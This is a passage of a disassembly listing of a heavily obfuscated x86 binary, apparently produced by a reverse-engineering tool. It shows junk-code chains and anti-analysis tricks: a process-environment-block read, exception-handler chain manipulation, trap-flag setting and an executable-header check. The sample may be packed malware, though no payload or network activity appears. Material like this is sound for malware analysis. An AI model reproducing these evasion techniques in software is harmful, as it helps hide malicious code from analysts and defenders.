nullsub_9 ; END OF FUNCTION CHUNK FOR sub_42D6C7 ; START OF FUNCTION CHUNK FOR sub_4256AD loc_426ADD: ; CODE XREF: sub_428D63-2807j ; sub_4256AD+8015j jno loc_429527 xor eax, eax jmp loc_4259BC ; END OF FUNCTION CHUNK FOR sub_4256AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B3C2 loc_426AEA: ; CODE XREF: sub_42B3C2+6j mov fs:0, esp loc_426AF0: ; CODE XREF: _0182ofla:loc_428723j jmp loc_429E8F ; END OF FUNCTION CHUNK FOR sub_42B3C2 ; --------------------------------------------------------------------------- loc_426AF5: ; CODE XREF: _0182ofla:0042A168j jns loc_42DF5C jl nullsub_89 ; =============== S U B R O U T I N E ======================================= sub_426B01 proc near ; CODE XREF: _0182ofla:004268A9p ; FUNCTION CHUNK AT 00424EDD SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00425B4D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004285CE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A4C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D471 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042E07A SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx jmp loc_4285CE sub_426B01 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_426B0A: ; CODE XREF: sub_425DA5+4410j test al, al jz nullsub_34 push ebx push 0DF6C8C1Bh pop ebx jmp loc_428696 ; END OF FUNCTION CHUNK FOR sub_425DA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427445 loc_426B1E: ; CODE XREF: sub_427445:loc_427FD5j add edi, edx sbb esi, 8508B10Ah pop edi shl esi, 13h mov ebx, [eax] jmp loc_42B7E2 ; END OF FUNCTION CHUNK FOR sub_427445 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BCB loc_426B31: ; CODE XREF: sub_424BCB:loc_42AA18j jz loc_42A7D0 jmp loc_42DBCD ; END OF FUNCTION CHUNK FOR sub_424BCB ; --------------------------------------------------------------------------- mov ebp, [ebx] adc ebx, 39DAC2ADh jmp sub_42E278 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E18E loc_426B49: ; CODE XREF: sub_42E18E:loc_423D1Ej js loc_4264B8 mov edi, [ecx] xchg eax, [edx] ; END OF FUNCTION CHUNK FOR sub_42E18E ; START OF FUNCTION CHUNK FOR sub_4298DD loc_426B53: ; CODE XREF: sub_4298DD:loc_427315j add esi, 0F2CB3843h mov [esi], ecx jmp loc_4264B8 ; END OF FUNCTION CHUNK FOR sub_4298DD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B60 proc near ; CODE XREF: sub_429071+11p var_C = dword ptr -0Ch xchg ebp, ebx push ebx xchg ebp, ebx mov ebp, esp add esp, 0FFFFFF90h call sub_428B0C loc_426B6F: ; CODE XREF: sub_42794C:loc_42795Cj mov [ebp+var_C], eax jmp loc_42EABE sub_426B60 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAB7 loc_426B77: ; CODE XREF: sub_42EAB7:loc_42D607j call sub_42349B ; END OF FUNCTION CHUNK FOR sub_42EAB7 ; START OF FUNCTION CHUNK FOR sub_4255E9 loc_426B7C: ; CODE XREF: sub_4255E9+30B5j push eax retn ; END OF FUNCTION CHUNK FOR sub_4255E9 ; --------------------------------------------------------------------------- loc_426B7E: ; CODE XREF: _0182ofla:004249BAj jmp loc_427067 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B83 proc near ; CODE XREF: sub_42D888+4p push ebp mov ebp, esp call sub_42A420 loc_426B8B: ; CODE XREF: sub_428F0F+56DEj jmp loc_424009 sub_426B83 endp ; --------------------------------------------------------------------------- loc_426B90: ; CODE XREF: _0182ofla:loc_42D1EDj jnz loc_42D79F jmp loc_42C104 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_426B9B: ; CODE XREF: sub_42798F:loc_426D18j test byte ptr [eax-10h], 38h call sub_424C61 loc_426BA4: ; CODE XREF: sub_427445+6323j jmp loc_427309 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423861 loc_426BA9: ; CODE XREF: sub_423861+5741j jmp loc_42A06F ; END OF FUNCTION CHUNK FOR sub_423861 ; --------------------------------------------------------------------------- or eax, ecx jmp sub_429A64 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_198. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42326C loc_426BB6: ; CODE XREF: sub_42326C+9846j jmp loc_42E41E ; END OF FUNCTION CHUNK FOR sub_42326C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424072 loc_426BBB: ; CODE XREF: sub_424072:loc_42679Ej sub ebx, 10000h mov eax, [ebx] neg eax cmp ax, 0A5B3h jmp loc_427CB3 ; END OF FUNCTION CHUNK FOR sub_424072 ; =============== S U B R O U T I N E ======================================= sub_426BCE proc near ; DATA XREF: _0182ofla:00425BC9o ; FUNCTION CHUNK AT 00425FF9 SIZE 00000005 BYTES mov eax, [eax] push offset sub_427DFA jmp loc_425FF9 sub_426BCE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BDA proc near ; CODE XREF: sub_427AD5:loc_425FEFp ; FUNCTION CHUNK AT 00428399 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A3F1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042B4EE SIZE 00000005 BYTES xchg ecx, [esp+0] mov ecx, [esp+0] mov ecx, ebp xchg ecx, [esp+0] mov ebp, esp push ecx mov esp, ebp loc_426BEA: ; CODE XREF: sub_42537E:loc_42958Fj pop ebp jmp loc_428399 sub_426BDA endp ; --------------------------------------------------------------------------- and ebx, 86D8D4D1h jmp sub_423FE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42938A loc_426BFB: ; CODE XREF: sub_42938A-4CA9j add edi, esi loc_426BFD: ; CODE XREF: sub_42938A:loc_427D3Cj push esi push 0E686BFC8h pop esi jmp loc_42B8D4 ; END OF FUNCTION CHUNK FOR sub_42938A ; --------------------------------------------------------------------------- call sub_4235A0 push edx push 5CEA7B3Eh pop edx or edx, 361ECD6h add edx, 0A056CBACh jmp loc_425F86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_426C26: ; CODE XREF: sub_4253F4+5EC4j mov [edx], ecx loc_426C28: ; CODE XREF: sub_4243D3:loc_42E299j push esi push 7EF1B5F3h pop esi and esi, 0D51408DCh or esi, 847FEF1Ch jmp loc_42E075 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- loc_426C40: ; CODE XREF: _0182ofla:0042727Cj sub ecx, esi xor ebx, ebp push 181B542Bh ; START OF FUNCTION CHUNK FOR sub_427259 loc_426C49: ; CODE XREF: _0182ofla:loc_42726Fj ; sub_427259:loc_428A9Bj and ecx, 0F6DCE1A6h cmp ecx, 162A346Ch jmp loc_4273CA ; END OF FUNCTION CHUNK FOR sub_427259 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E43C loc_426C5A: ; CODE XREF: sub_42E43C+11j jge loc_423554 sub ebp, 605E25F0h mov ebp, 0F6A7D437h jmp loc_42773B ; END OF FUNCTION CHUNK FOR sub_42E43C ; --------------------------------------------------------------------------- loc_426C70: ; DATA XREF: sub_423FFB:loc_424009o mov eax, ds:dword_4257A4 mov [ebp-4], eax mov eax, [ebp-4] mov esp, ebp jmp loc_42D2D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427942 loc_426C82: ; CODE XREF: sub_427942+5j push 1685B06Dh pop eax xor eax, 0E4F52610h add eax, ebp add eax, 0D8F698Bh mov eax, [eax] call sub_427906 loc_426C9D: ; CODE XREF: sub_42B15E-3F0Bj jmp loc_42AD86 ; END OF FUNCTION CHUNK FOR sub_427942 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_426CA2: ; CODE XREF: sub_4298DD-3163j jmp loc_42492F ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42940E loc_426CA7: ; CODE XREF: sub_42940E+3A2Aj mov [eax], edi mov ecx, esi shl edx, 17h jmp loc_427BFB ; END OF FUNCTION CHUNK FOR sub_42940E ; --------------------------------------------------------------------------- mov edx, 1F56AC7Bh call sub_42D333 ; START OF FUNCTION CHUNK FOR sub_429A64 loc_426CBD: ; CODE XREF: sub_429A64+1Bj jmp loc_425C49 ; END OF FUNCTION CHUNK FOR sub_429A64 ; --------------------------------------------------------------------------- loc_426CC2: ; CODE XREF: _0182ofla:00428BAFj pushf ; =============== S U B R O U T I N E ======================================= sub_426CC3 proc near ; CODE XREF: sub_423A2A:loc_425A13p mov [esp+0], edx pop edx push esi call sub_42E79C loc_426CCD: ; CODE XREF: sub_42E689-1D17j jmp nullsub_30 sub_426CC3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_426CD2: ; CODE XREF: sub_42798F-2AB7j jnz loc_42810B add edx, esi jmp loc_4247E7 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- xor esi, 0D5BBFCCBh jmp sub_423BE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42662C loc_426CEA: ; CODE XREF: sub_42662C+41j jns loc_4251A5 mov [ebx], edi or esi, ebp jmp loc_42D73E ; END OF FUNCTION CHUNK FOR sub_42662C ; =============== S U B R O U T I N E ======================================= sub_426CF9 proc near ; CODE XREF: _0182ofla:00428192j ; sub_42433C+8AA3p xchg eax, [esp+0] pop eax rol edx, 5 xor edx, ebp push offset loc_427FF2 jmp nullsub_31 sub_426CF9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A260 loc_426D0C: ; CODE XREF: sub_42A260:loc_423D82j pop edx ; END OF FUNCTION CHUNK FOR sub_42A260 ; START OF FUNCTION CHUNK FOR sub_4276BF loc_426D0D: ; CODE XREF: sub_4276BF-2DB0j ; sub_4276BF+19j jnb loc_4248F9 call sub_42393D ; END OF FUNCTION CHUNK FOR sub_4276BF ; START OF FUNCTION CHUNK FOR sub_42798F loc_426D18: ; CODE XREF: _0182ofla:00427934j ; sub_42798F+567Ej jmp loc_426B9B ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- xor esi, eax jmp sub_423EB3 ; --------------------------------------------------------------------------- loc_426D24: ; DATA XREF: _0182ofla:00429744o push 0A7D8E9A9h pop edi push offset sub_42B640 jmp loc_425B8C ; --------------------------------------------------------------------------- loc_426D34: ; DATA XREF: _0182ofla:00424650o push 3E4C4F78h pop edx and edx, 684B70ACh test edx, 8000h jmp loc_426144 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_426D4C: ; CODE XREF: _0182ofla:loc_42A52Dj retn ; --------------------------------------------------------------------------- loc_426D4D: ; CODE XREF: _0182ofla:00423635j jmp loc_42728B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_179. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42461C loc_426D53: ; CODE XREF: sub_42461C+A707j rol eax, 9 push edx mov [esp+0], eax retn ; END OF FUNCTION CHUNK FOR sub_42461C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA65 loc_426D5B: ; CODE XREF: sub_42DA65-7285j jmp loc_4279AA ; END OF FUNCTION CHUNK FOR sub_42DA65 ; --------------------------------------------------------------------------- loc_426D60: ; CODE XREF: _0182ofla:loc_42C104j jno loc_42405E and esi, edi jmp loc_42D79F ; --------------------------------------------------------------------------- rol ecx, 12h shr ebx, 1 jmp sub_42E825 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D03E loc_426D77: ; CODE XREF: sub_42D03E-832Ej pop ebx push offset sub_42CCE0 jmp loc_42ADB0 ; END OF FUNCTION CHUNK FOR sub_42D03E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A39 loc_426D82: ; CODE XREF: sub_42AB27:loc_424CA3j ; sub_428A39-37C1j jge loc_42CD9A loc_426D88: ; CODE XREF: sub_424080+11j jmp loc_423921 ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- xchg edi, [ecx] not edx add edi, eax jmp loc_42CD94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4243D3 loc_426D98: ; CODE XREF: sub_4243D3+Ej jle loc_42D884 jmp loc_42C1DB ; END OF FUNCTION CHUNK FOR sub_4243D3 ; --------------------------------------------------------------------------- loc_426DA3: ; DATA XREF: sub_429A64-1C3Eo mov [ebp-8], eax jmp loc_425C49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_426DAB: ; CODE XREF: sub_425B00:loc_428939j test byte ptr [ebp-8], 8 jz loc_42AFA1 push ebp mov eax, [ebp-20h] call sub_42D387 jmp loc_42D37E ; END OF FUNCTION CHUNK FOR sub_425B00 ; =============== S U B R O U T I N E ======================================= sub_426DC3 proc near ; CODE XREF: sub_4261C9+3j ; FUNCTION CHUNK AT 0042B0CE SIZE 00000005 BYTES add esp, 0FFFFFFF4h push offset loc_428963 jmp loc_42B0CE sub_426DC3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_426DD0: ; CODE XREF: sub_42798F+615Bj jnz loc_428A87 jmp loc_428183 ; END OF FUNCTION CHUNK FOR sub_42798F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_219. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231F3 loc_426DDC: ; CODE XREF: sub_4231F3+4BFCj jmp loc_42E46E ; END OF FUNCTION CHUNK FOR sub_4231F3 ; --------------------------------------------------------------------------- test al, al jz loc_4245A8 jmp loc_42ACE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_426DEE: ; CODE XREF: sub_42D056-276Cj push ecx jmp loc_428D92 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CA29 loc_426DF4: ; CODE XREF: sub_42CA29-2F8j jno loc_42B0A9 loc_426DFA: ; CODE XREF: sub_4276BF:loc_429966j push offset loc_423264 jmp nullsub_106 ; END OF FUNCTION CHUNK FOR sub_42CA29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_426E04: ; CODE XREF: sub_42B15E+2029j xor eax, 0E8517B05h test eax, 400000h jmp loc_42749B ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E825 loc_426E15: ; CODE XREF: sub_42E825+9j call sub_42E395 ; END OF FUNCTION CHUNK FOR sub_42E825 ; START OF FUNCTION CHUNK FOR sub_42AC07 loc_426E1A: ; CODE XREF: sub_42AC07+Dj or eax, eax jnz loc_42C6DB jmp loc_423095 ; END OF FUNCTION CHUNK FOR sub_42AC07 ; --------------------------------------------------------------------------- loc_426E27: ; CODE XREF: _0182ofla:loc_42E92Dj xor esi, edx add ebx, eax test ebp, ecx jmp loc_4234F0 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_42D6DD:loc_423F9Bo add eax, [esp] adc edx, [esp+4] ; START OF FUNCTION CHUNK FOR sub_426571 loc_426E39: ; CODE XREF: sub_426571+B22j add esp, 8 mov [ebp-4], eax jmp loc_428E15 ; END OF FUNCTION CHUNK FOR sub_426571 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426E44 proc near ; CODE XREF: sub_426571-295Ep ; sub_426571+B2Ap var_28 = dword ptr -28h var_20 = dword ptr -20h var_14 = dword ptr -14h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424F6C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042C128 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFD8h mov [ebp+var_20], eax jmp loc_424F6C sub_426E44 endp ; --------------------------------------------------------------------------- loc_426E52: ; CODE XREF: _0182ofla:loc_423841j add eax, 0A05A59A7h call sub_428718 loc_426E5D: ; CODE XREF: _0182ofla:loc_42B20Ej ror ebx, 1Ah jmp loc_425D19 ; --------------------------------------------------------------------------- loc_426E65: ; CODE XREF: _0182ofla:00423002j push 0DBB59233h ; =============== S U B R O U T I N E ======================================= sub_426E6A proc near ; CODE XREF: sub_428245-194p ; FUNCTION CHUNK AT 0042A409 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042B331 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042E4FB SIZE 0000001B BYTES mov [esp+0], eax pop eax push edi jmp loc_42B331 sub_426E6A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42931E loc_426E74: ; CODE XREF: sub_42931E:loc_4261BBj mov eax, [ebp-14h] call sub_42C7FE loc_426E7C: ; CODE XREF: sub_42CE73:loc_4266EDj push 4C91A0h push 0EDC16991h pop eax xor eax, 0E8C401F8h jmp loc_4263E6 ; END OF FUNCTION CHUNK FOR sub_42931E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_426E93: ; CODE XREF: _0182ofla:00426281j rol edi, 0Eh ; =============== S U B R O U T I N E ======================================= sub_426E96 proc near ; CODE XREF: sub_42A181-592Fp xchg ebx, [esp+0] pop ebx mov eax, large fs:30h call sub_4282B8 loc_426EA6: ; CODE XREF: _0182ofla:0042441Cj rol edx, 1Ch sub_426E96 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426EA9 proc near ; CODE XREF: sub_42B15E-19ECp ; FUNCTION CHUNK AT 0042E489 SIZE 00000005 BYTES mov [esp+0], edx pop edx pop ecx xor eax, eax jmp loc_42E489 sub_426EA9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- not ebp jmp sub_42D935 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F50 loc_426EBD: ; CODE XREF: sub_423F50+963Cj jmp nullsub_158 ; END OF FUNCTION CHUNK FOR sub_423F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42349B loc_426EC2: ; CODE XREF: sub_42349B+6223j jmp loc_423A9A ; END OF FUNCTION CHUNK FOR sub_42349B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4254D3 loc_426EC7: ; CODE XREF: sub_4254D3+Fj jmp loc_425DC5 ; END OF FUNCTION CHUNK FOR sub_4254D3 ; --------------------------------------------------------------------------- popf mov [eax], esi jmp sub_424289 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42583B loc_426ED5: ; CODE XREF: sub_42583B+6F3Bj jmp loc_42916F ; END OF FUNCTION CHUNK FOR sub_42583B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_426EDA: ; CODE XREF: sub_42660C:loc_42B490j pop esi add esi, 32DD681Eh call sub_42364C ; END OF FUNCTION CHUNK FOR sub_42660C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_426EE7: ; CODE XREF: _0182ofla:0042A4F3j jmp loc_4283D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BEC loc_426EEC: ; CODE XREF: sub_429BEC+4j push ecx mov ecx, [esp+4+arg_8] mov dword ptr [ecx], 10001h lea eax, loc_42DD4D push ebx jmp loc_425264 ; END OF FUNCTION CHUNK FOR sub_429BEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424707 loc_426F03: ; CODE XREF: sub_424707+5831j push eax push 386E33C5h pop eax rol eax, 0Ah jb loc_4287EB jmp loc_429B10 ; END OF FUNCTION CHUNK FOR sub_424707 ; --------------------------------------------------------------------------- loc_426F18: ; CODE XREF: _0182ofla:0042CF8Ej jmp loc_42A4F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427239 loc_426F1D: ; CODE XREF: sub_427239+53A7j jmp loc_424671 ; END OF FUNCTION CHUNK FOR sub_427239 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D02D loc_426F22: ; CODE XREF: sub_42D02D-1C33j jmp loc_423678 ; END OF FUNCTION CHUNK FOR sub_42D02D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_426F27: ; CODE XREF: sub_428EB9+B39j jmp loc_42E9D6 ; END OF FUNCTION CHUNK FOR sub_428EB9 ; --------------------------------------------------------------------------- sub esi, edi jmp loc_4295CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_426F33: ; CODE XREF: sub_425B6E:loc_4264DDj ; _0182ofla:004264FFj or edi, 9DBFDA9h add edi, 0E646D225h call sub_425C55 loc_426F44: ; CODE XREF: sub_42A181+49Cj or edi, 0A6429D05h popf not ebp cmp ebp, 0C0F0BBAEh jmp loc_424D33 ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267F8 loc_426F58: ; CODE XREF: sub_4267F8-2AF7j push offset loc_4270DF jmp nullsub_128 ; END OF FUNCTION CHUNK FOR sub_4267F8 ; --------------------------------------------------------------------------- dw 8A0Fh dd 0FFFFDF3Bh, 1F89E9h db 0 ; --------------------------------------------------------------------------- loc_426F6D: ; CODE XREF: _0182ofla:00424B52j jz loc_42AEC3 or ecx, edx mov edx, 41D76A1Dh sub ebx, 83FCFED6h mov eax, 21557C6Fh pop eax pop edx jmp loc_42CD3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_426F8C: ; CODE XREF: sub_423A2A:loc_428980j mov ds:dword_427A20, eax loc_426F91: ; CODE XREF: sub_42CA66+Bj ; sub_42DBF0:loc_42D379j ... jns loc_424B04 cmp ds:dword_427A24, 0 jnz loc_42806F jmp loc_42ECFF ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- db 0Eh ; --------------------------------------------------------------------------- loc_426FAA: ; CODE XREF: _0182ofla:loc_426FACj xor cl, bl loc_426FAC: ; DATA XREF: _0182ofla:00427646r ; _0182ofla:0042B449w loop loc_426FAA ; --------------------------------------------------------------------------- dw 0BEEEh dd 0B1BBF398h dword_426FB4 dd 0FBCEFCE6h ; DATA XREF: sub_425C89+1C2Ar dword_426FB8 dd 0 ; DATA XREF: sub_4249EF:loc_4249F3w ; sub_4249FA+B0Cw ; --------------------------------------------------------------------------- loc_426FBC: ; CODE XREF: _0182ofla:loc_428ED6j mov eax, [ebp-4] cmp word ptr [eax], 5A4Dh jnz loc_42D884 mov eax, [ebp-4] cmp dword ptr [eax+3Ch], 0 jz loc_42D884 jmp loc_42E32B ; --------------------------------------------------------------------------- loc_426FDC: ; DATA XREF: sub_4286A8-3219o push 0 push ebx push 4AD7A188h pop ebx add ebx, 0B56A9E3Fh xchg ebx, [esp] jmp loc_42753B ; --------------------------------------------------------------------------- loc_426FF3: ; DATA XREF: sub_424184+7654o call sub_42D71D push eax ; START OF FUNCTION CHUNK FOR sub_42940E loc_426FF9: ; CODE XREF: sub_42940E:loc_4243CEj call sub_42AD20 loc_426FFE: ; DATA XREF: sub_42B73E+18o mov eax, [ebp-8] push eax call sub_42371C pushf mov [esp+8+var_8], eax jmp loc_42E8D8 ; END OF FUNCTION CHUNK FOR sub_42940E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_427011: ; CODE XREF: sub_423FCD+88CDj jmp loc_4286A3 ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_427016: ; CODE XREF: sub_425B00+32E4j jmp nullsub_53 ; END OF FUNCTION CHUNK FOR sub_425B00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42701B: ; CODE XREF: sub_42798F-680j rol eax, 1Ah jmp loc_42B45A ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_427023: ; CODE XREF: _0182ofla:loc_42CC9Aj push offset sub_42AE14 jmp loc_42A99D ; --------------------------------------------------------------------------- test esi, 0BF1886E5h jmp loc_42A35C ; --------------------------------------------------------------------------- loc_427038: ; CODE XREF: _0182ofla:00428878j jge loc_428FE3 cmp ebx, 836E830Eh jmp loc_4286C2 ; --------------------------------------------------------------------------- loc_427049: ; CODE XREF: _0182ofla:0042383Bj test esi, 4C4D7A3h jmp loc_427C7E ; --------------------------------------------------------------------------- loc_427054: ; CODE XREF: _0182ofla:00426A4Ej jo loc_423C2F ; =============== S U B R O U T I N E ======================================= sub_42705A proc near ; CODE XREF: sub_424C61+Ap mov [esp+0], ebx pop ebx mov eax, [ebp+8] push eax loc_427062: ; CODE XREF: _0182ofla:00423641j jmp loc_42C1D6 sub_42705A endp ; --------------------------------------------------------------------------- loc_427067: ; CODE XREF: _0182ofla:loc_426B7Ej jnz loc_425911 jmp loc_427484 ; --------------------------------------------------------------------------- loc_427072: ; DATA XREF: sub_4280B6+Ao mov [ecx+0B8h], eax ; START OF FUNCTION CHUNK FOR sub_423726 loc_427078: ; CODE XREF: sub_423726+7868j pop ecx xor eax, eax retn ; END OF FUNCTION CHUNK FOR sub_423726 ; --------------------------------------------------------------------------- loc_42707C: ; DATA XREF: sub_423726+4o ; sub_4280B6+4o pop large dword ptr fs:0 add esp, 4 jmp loc_42879E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426571 loc_42708B: ; CODE XREF: sub_426571+2275j cdq add eax, [esp+0] adc edx, [esp+4] jmp loc_426E39 ; --------------------------------------------------------------------------- loc_427098: ; CODE XREF: sub_426571:loc_423C0Aj mov eax, [ebp-4] call sub_426E44 mov [ebp-8], eax jmp loc_4245F9 ; END OF FUNCTION CHUNK FOR sub_426571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_4270A8: ; CODE XREF: sub_428F20:loc_42E833j test edi, 33B46DE4h jmp loc_428CE0 ; END OF FUNCTION CHUNK FOR sub_428F20 ; =============== S U B R O U T I N E ======================================= sub_4270B3 proc near ; DATA XREF: _0182ofla:0042DFD6o push ebp lea eax, [ebp-4] push offset sub_428AE1 jmp nullsub_245 sub_4270B3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C718 loc_4270C1: ; CODE XREF: sub_42C718:loc_4290E6j xchg eax, [esp+8+var_8] or eax, 100h xchg eax, [esp+8+var_8] popf nop jmp loc_42C6B3 ; END OF FUNCTION CHUNK FOR sub_42C718 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B1F9 loc_4270D4: ; CODE XREF: sub_42B1F9-7389j jz nullsub_203 jmp loc_424528 ; END OF FUNCTION CHUNK FOR sub_42B1F9 ; --------------------------------------------------------------------------- loc_4270DF: ; DATA XREF: sub_4267F8:loc_426F58o jnz loc_42DCC6 mov eax, [ebp-8] mov byte ptr [eax], 0 mov esp, ebp pop ebp jmp loc_424C08 ; --------------------------------------------------------------------------- loc_4270F3: ; CODE XREF: _0182ofla:0042A5F7j jnz loc_428C3D ; START OF FUNCTION CHUNK FOR sub_42798F loc_4270F9: ; CODE XREF: sub_42798F-35DEj ; sub_42798F:loc_4287FDj ... jnz loc_42D00A mov eax, [ebp+8] test byte ptr [eax-10h], 38h jnz loc_428C3D jmp loc_429470 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424498 loc_427111: ; CODE XREF: sub_424498:loc_427435j pop ecx push offset sub_426851 jmp loc_4284C6 ; END OF FUNCTION CHUNK FOR sub_424498 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F0F loc_42711E: ; CODE XREF: sub_428F0F+3F4Cj jmp loc_4232AF ; END OF FUNCTION CHUNK FOR sub_428F0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42938A loc_427123: ; CODE XREF: sub_42938A-1648j jmp loc_4246D4 ; END OF FUNCTION CHUNK FOR sub_42938A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_427128: ; CODE XREF: sub_423A2A+126Dj call sub_423FCD test al, al jz loc_42800B jmp loc_42427E ; END OF FUNCTION CHUNK FOR 